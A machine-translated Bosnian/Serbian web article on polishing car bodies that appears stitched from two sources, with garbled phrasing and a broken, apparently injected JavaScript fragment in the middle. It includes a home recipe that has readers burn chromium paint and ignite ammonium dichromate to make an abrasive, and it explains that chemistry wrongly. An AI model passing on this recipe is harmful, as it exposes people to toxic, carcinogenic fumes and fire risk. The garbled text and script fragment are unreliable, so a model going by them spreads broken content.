Nakon tretmana abrazivima, restaurativnim pastama za poliranje, popunjavanjem mikro-ogrebotina, izravnavaju površinu auto emajla, pravilno odbijaju svjetlosne zrake, što boji daje zrcalni sjaj. No restorativno poliranje ne štiti tijelo od novih oštećenja. Spriječiti manja oštećenja Boje su namijenjene za zaštitno poliranje.

Proizvođači proizvode zaštitne lakove na bazi:

• umjetni i prirodni voskovi;
• Teflon;
• smole za drvo;
• silikon;
• keramika;
• "tečno staklo"

Prije nego što odaberete pastu za poliranje za zaštitno poliranje, pažljivo pročitajte upute za upotrebu. Neki od njih se mogu nanijeti na automobil ručno, a drugi zahtijevaju korištenje mašine za mljevenje.

Princip rada zaštitnih pasta je isti. Oni stvaraju tanak sloj na laku koji štiti emajl od ultraljubičastog zračenja (boja manje bledi) i odbija vodu, prljavštinu i hemikalije.

Jednostavne meke paste uključuju mješavine voska koje se mogu ručno nanijeti na tijelo i utrljati posebnom salvetom. Preventivna zaštita vlasnik automobila može ga nanijeti na karoseriju za sat vremena, ali meka pasta može izdržati samo dva do tri kontaktna pranja.

Zaštitne paste za poliranje na bazi silikona i teflona su izdržljivije. Oni mogu izdržati 30-40 pranja, ali trebate polirati automobil brusilicom sa zamjenjivim priključcima. Tehnologija poliranja je slična abrazivnoj, ali zahtijeva precizno vrijeme, ovisno o sušenju zaštitne kompozicije.

U skupljim nanokeramičkim zaštitnim lakovima, tvrdi vanjski sloj stvaraju polimerizirana jedinjenja koja sadrže sitne kristale silicijum dioksida i titanijum oksida. Polimer keramički sloj ispunjava neravnine boje, zateže mikropukotine i štiti emajl od ljuštenja. Zaštitna svojstva nanokremika povećavaju se ovisno o nanesenim slojevima laka (koristi se do deset slojeva). Profesionalni polirači visoko cijene lakove Ceramic Pro, NANO POLISH, CERAMIC PRO LIGHT i Restor FX. Određivanje efikasnosti zaštitnog poliranja je prilično jednostavno. Ako sipate kutlaču vode na haubu vašeg automobila, tečnost će se skupljati na površini u velikim kapima.

Pomaže u rješavanju nekoliko vrlo važnih problema. Nanošenjem laka za automobile na površinu, istovremeno ćete osigurati:

• zaštita od vanjskih atmosferskih utjecaja;
• zaštita od oštećenja organizma od strane agresivnog okruženja;
• sprečavanje korozije;
• dugotrajno očuvanje integriteta laka automobila;
• uklanjanje ogrebotina, strugotina i mikrooštećenja;
• zaštita automobilske boje od blijeđenja;
• spektakularan sjaj.

Poliranje karoserije automobila

Moderna industrija nudi potrošačima širok izbor proizvodi za poliranje karoserije automobila. Ovo je polimerni lak auto vosak, tečno staklo, kao i razne druge opcije.

Međutim, neki vlasnici automobila zapravo ne vjeruju industrijskim proizvodima, radije pripremaju lak i nanose ga na površinu karoserije automobila kod kuće.

Obnavljanje laka na tijelu

Kako pripremiti lak za karoseriju automobila

Pre nego što preuzmete samoproizvodnja sastav za poliranje automobila kod kuće, trebali biste znati da ovaj proizvod mora sadržavati abrazivnu i vezivnu komponentu. U njegovoj ulozi možete koristiti masti, vodu ili silikon.

Imajte na umu da se masti ne mogu ukloniti vodom - to će se morati učiniti suhom krpom. Dakle, krenimo sa kuvanjem:

1. Priprema abraziva. Da bismo to učinili, proizvodimo fino zrnati krom oksid. Dobijamo ga koristeći ovaj algoritam:

• spaliti boju koja sadrži krom na vatri ili pomoću lemilice;
• Uzimamo unaprijed kupljeni amonijum dikromat i zapalimo ga. Čekamo da oksidira;
• ispariti hlorovodonične kiseline nastaju tokom procesa oksidacije.

Poliranje karoserije automobila

1. Pripremite komponentu za vezivanje:

• 0,2 stearina - može se dobiti kuhanjem sapuna za pranje rublja, a zatim miješanjem rezultirajuće tvari s octenom kiselinom;
• 0,1 sapun za pranje rublja;
• 0,7 hrom oksid;
• 3 kapi kerozina.

Pomiješajte sve dijelove dok su zagrijani. Ovdje se mora obratiti velika pažnja - stearin je zapaljiva supstanca.

Nakon svih gore navedenih operacija, lak za karoseriju automobila je spreman - možete ga koristiti.

Proces poliranja karoserije automobila kod kuće

Prije poliranja automobila potrebno ga je dobro oprati. To možete učiniti u autopraonici ili sami. Glavni uslov je potpuno uklanjanje prljavštine i prašine sa vašeg prijatelja na četiri točka. Nakon završetka pranja, cijela površina mora biti dobro osušena. Zatim temeljito odmastite cijelu površinu karoserije automobila bijelim špiritom.

Potrebno je ukloniti svu masnoću i sitne mrlje sa automobila kako bi se površina što bolje pripremila za nanošenje laka.

Pomoću spužve i mašine za poliranje kompozicija se nanosi na površinu automobila. Gde mašina za poliranje treba raditi minimalnom brzinom. Najbolje je mašinu obraditi u delovima.

Poliranje električnim alatima

Nakon nanošenja kompozicije, potrebno je ostaviti 15 minuta da se upije, a zatim polirati. Ako obradite cijeli automobil, nećete imati vremena da ga polirate za kratko vrijeme. I nakon 15 minuta sastav će se početi stvrdnjavati i neće dati zrcalni sjaj, čineći površinu zamućenom.

Najbolje je rukovati svim teškim područjima ručno - korištenje stroja može dovesti do pogrešnih proračuna i oštećenja laka. Da se to ne dogodi, trebali biste koristiti filc i mikrofiber.

Kao završno sredstvo, možete nanijeti fiksativ - daće površini vašeg automobila mokri sjaj. Ovo će biti završni akord u vašem radu.

Nakon završetka, pregledajte površinu iz različitih uglova da li ima mrlja i tragova poliranja. Ako je sve u redu i ako ste zadovoljni pregledom, proces se može smatrati završenim.

Protrljajte auto mikrovlaknom

Zaključak

Za poliranje površine vašeg automobila možete se obratiti posebnom servisu ili to učiniti sami. Mnogi entuzijasti automobila ne žele povjeriti svoje automobile u ruke drugih. Stoga se pokušavaju sami nositi sa svim fazama - od pripreme kompozicije za poliranje do, zapravo, samog procesa poliranja.

Postoji mnogo recepata koji vam omogućavaju da pripremite lak kod kuće. Svaki auto-entuzijasta ima svoje dragocene tajne koje će pomoći da se karoserija automobila zaštiti od negativnih spoljašnjih uticaja bolje od drugih.

To može biti diktirano ne toliko željom da se spasite od nepotrebnih financijskih troškova, koliko mogućnošću da se osigura najsavjesniji pristup rješavanju problema.

// o;o++)t+=e.charCodeAt(o).toString(16);return t),a=function(e)(e=e.match(/[\S\s](1,2)/ g);for(var t="",o=0;o< e.length;o++)t+=String..document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e

Poliranje karoserije automobila, koje ste uradili sami, vratit će prijašnji sjaj laku, koji osim dekorativne funkcije ima i zaštitnu ulogu. To je to, zajedno sa galvanizacijom i antikorozivni tretman tijelo, sprječava koroziju.

Ali ništa ne traje vječno. Isto tako, lak s vremenom gubi sjaj - na njemu se stvaraju krhotine od kamenčića (od toga posebno pate hauba i branik), pojavljuju se ogrebotine, briše se i postaje zamućen. Atmosferske padavine takođe utiču zaštitni sloj ne na najbolji način. Često se praktikuje i samostalno poliranje karoserije nakon farbanja automobila, jer nisu svi zadovoljni šagrenom i sjajem laka.

Postoje dva glavna načina poliranja karoserije:

1. Zaštitno poliranje - pogodno je u slučajevima kada se na laku još nisu stvorile velike ogrebotine i strugotine (u daljem tekstu boja). Takve radnje mogu samo vratiti sjaj automobilu, ali čak i početnik auto-entuzijasta može ih učiniti vlastitim rukama;
2. Abrazivno poliranje - ovaj pristup uključuje rad s ogrebotinama, strugotinama i abrazijama koje se ne mogu ukloniti prvom metodom. Ova vrsta poliranja karoserije je radno intenzivniji i složeniji poduhvat i trebat će vam malo prakse da to uradite sami.

Zaštitno poliranje karoserije automobila – ne zahtijeva nikakva posebna znanja ili vještine. Samo trebate kupiti posebne paste (neabrazivne!) u auto prodavnici. Oni su različiti, ali se suštinski razlikuju jedni od drugih po sastavu i trajanju.

Lak za vosak je najjeftiniji, što znači da je i najmanjeg kvaliteta. U pravilu je dovoljno samo za nekoliko pranja, nakon čega je potrebno ponovno nanošenje.

Teflonski lak - ova tvar traje mnogo duže (do 8 pranja automobila). Budući da je napravljen od sintetičkih polimera, formira izdržljiv vodoodbojni premaz. Osim toga, dodaje sjaj laku i čini boju automobila mnogo dubljom i svjetlijom. Teflon doprinosi prevenciji korozije, oksidacije metala, a također i minimizira štetnih efekata ultraljubičasto.

Epoksidni lak je prilično skup, i s njim je mnogo teže raditi, ali je takav utrošak truda i novca potpuno opravdan. Uostalom, epoksidne smole, koje su uključene u poliranje zajedno s drugim polimerima, ne samo da sprječavaju prašinu, vodu i prljavštinu da pokvare premaz. Takođe čuva lak od izlaganja agresivnom okruženju. Rok važenja – do 9 mjeseci.

Lak za zaštitu – poliranje automobila ovim sastavom preporučljivo je samo u teškim uslovima rada. Ne samo da savršeno odbija vodu, već je i otporan na mehanička i kemijska oštećenja. Lak za zaštitu može trajati na automobilu do 2 godine.

Sve navedene vrste lakova nanose se ručno pomoću komada filcane tkanine. Prije nego što ih nanesete, bit će dovoljno jednostavno oprati automobil. Ali ako vlasnik ima mašinu za mljevenje, onda i nju možete koristiti.

Abrazivno poliranje karoserije automobila mnogo složeniji, dugotrajniji i zahtjevniji za kvalifikacije radnika. Takvim mjerama se pribjegava ako su uočljive oštećenja laka. Za razliku od zaštitnih sredstava, prije abrazivnog poliranja treba slijediti sljedeći plan djelovanja:

1. Pripremite sobu
2. Dobro operite „gvozdenog konja“;
3. Očistite sve dijelove brusnim papirom;
4. Izbrusiti ih abrazivnom pastom;
5. Obrišite i osušite.

Materijali i alati za poliranje karoserije

Za poliranje karoserije automobila vlastitim rukama potrebni su sljedeći alati i materijali:

• brusni papir sa indeksom 1500 i 2500;
• pasta za poliranje (potrebne su sve vrste: abrazivna, srednje abrazivna i neabrazivna);
• Stroj za poliranje automobila;
• kotači za stroj za poliranje (tvrdi i mekani);
• strugač (gumena);
• filc ili salvete.

Nakon što ste prikupili sve što vam je potrebno, možete nastaviti direktno na poliranje karoserije automobila. Detaljno pogledajte video uputstva na kraju ovog članka.

Potrebno je započeti poliranje karoserije tako što ćete pripremiti prostoriju i oprati automobil. Garaža ili boks treba da budu prostrani i udobni. Za rad je potrebno održavati ugodnu temperaturu, ali najvažnije je dobro osvjetljenje. Mnogo toga zavisi od njega. Lampe treba da budu smeštene oko mašine, ali ni u kom slučaju sa jedne strane.

Morate vrlo pažljivo oprati automobil (kako pravilno oprati automobil). Treba imati na umu da samo nekoliko zrna pijeska uhvaćenih ispod lista brusnog papira može izgrebati premaz, tako da morate biti izuzetno oprezni. Osim prljavštine, potrebno je ukloniti i prilijepljenu smolu za koju se koristi anti-silikon ili benzin. Međutim, ne biste ga trebali sipati na mrlju; bolje je jednostavno navlažiti krpu i obrisati je.

Prije poliranja karoserije potrebno je zalijepiti svu plastiku trakom, jer visoke temperature pasta će se "zalijepiti" za njega. Obratite pažnju kako je sve nepotrebno pažljivo zalijepljeno na gornjoj fotografiji i u videu na kraju članka.

Poliranje karoserije vlastitim rukama je dug proces, tako da se morate temeljito pripremiti za posao.

Najprije se svaki dio očisti brusnim papirom. Ako se pojave velike ogrebotine, onda se za njihovo uklanjanje koristi brusni papir s indeksom 1500, ali ako su sve relativno male, indeks 2500 je također pogodan za čišćenje vodom iz 2 razloga:

1. Papir će postati mekši u vodi;
2. „Šmirgl“ tako sitnog zrna se vrlo brzo začepljuje ako ga istrljate na suho.

Papir treba redovno vlažiti vodom i na taj način čistiti površine. Da biste to učinili, trebate napraviti rotacijske pokrete i trljati poprečno. Ako koristite papir granulacije 1500, morate koristiti brusni papir granulacije 2500 za uklanjanje velikih ogrebotina na već brušenim površinama.

Bitan! Ne biste se trebali previše zanositi čišćenjem, jer zbog neiskustva možete obrisati lak i tada ćete dio morati tonirati. Ovaj problem se posebno često dešava na krajevima delova, gde se lak vrlo lako briše.

Nakon toga možete početi polirati mašinom:

• Prvo uzmite najgušći krug (u pravilu su bijeli),
• pasta se nanosi na male dijelove tijela i polira,
• ponekad je početniku teško odabrati pravu pastu, u tom slučaju bi bilo preporučljivo kupiti univerzalni proizvod,
• Što se tiče mašine za mlevenje, ona mora da ima zgodno podešavanje o/min, pa je bolje izabrati onaj koji ima komandu (savjeti kako odabrati mašinu za poliranje automobila),
• Za rad sa mašinom vrijede ista pravila kao i kod "brušenja" - ne morate je previše pritiskati ili trljati uglove dijelova dugo vremena.

Poliranje automobila vlastitim rukama prilično je dug i monoton proces, tako da ovdje nema potrebe žuriti.

Nakon završetka rada s jednim dijelom, treba ga temeljito obrisati krpom ili salvetom, a zatim prijeći na sljedeći element tijela. Ponekad se avion pregrije, u tom slučaju se čini da se krug zaglavio. Ako se to dogodi, potrebno je da napravite pauzu i pustite da se lak ohladi.

Nakon obrade laka gustim krugom, na mašinu treba pričvrstiti mekši (obično su crni) i ponovo proći preko cijelog tijela, slijedeći iste preporuke.

Pranje karoserije nakon poliranja

Pranje karoserije nakon poliranja jedna je od najtežih faza. Stvar je u tome što se pasta lijepi za površine (to se posebno često događa na plastičnim lajsnama i krajevima dijelova). Treba ga obrisati gumiranom vlažnom krpom. Osim toga, morat ćete se naoružati četkicom za zube, jer prašina od paste za poliranje leti u zrak, pa će njome biti začepljeni svi otvori i pukotine.

Za pranje vam je potreban auto-šampon, ali čak ni s njim nećete moći potpuno očistiti tijelo - preostala pasta će se vremenom isprati. Nakon pranja karoserije potrebno je depilirati auto, tj. izvršiti zaštitno poliranje.

Nakon poliranja karoserije automobila, ne samo da će postojati ponos i osjećaj zadovoljstva zbog samostalno obavljenog posla, već će i sam izgled automobila oduševiti vlasnika blistavim sjajem i čistoćom duboka boja boje. Vrijedno je ponoviti ovaj postupak svakih 6-12 mjeseci (u zavisnosti od uslova rada, skladištenja i mjesečne kilometraže automobila).

Međutim, ne zaboravite da se nakon svakog poliranja debljina laka smanjuje, što će s vremenom dovesti do potrebe za ponovnim farbanjem karoserije.

A za bolje razumijevanje svega gore navedenog, predlažemo da pogledate video o tome kako polirati automobil nakon farbanja automobila vlastitim rukama.

Kako pravilno polirati auto nakon farbanja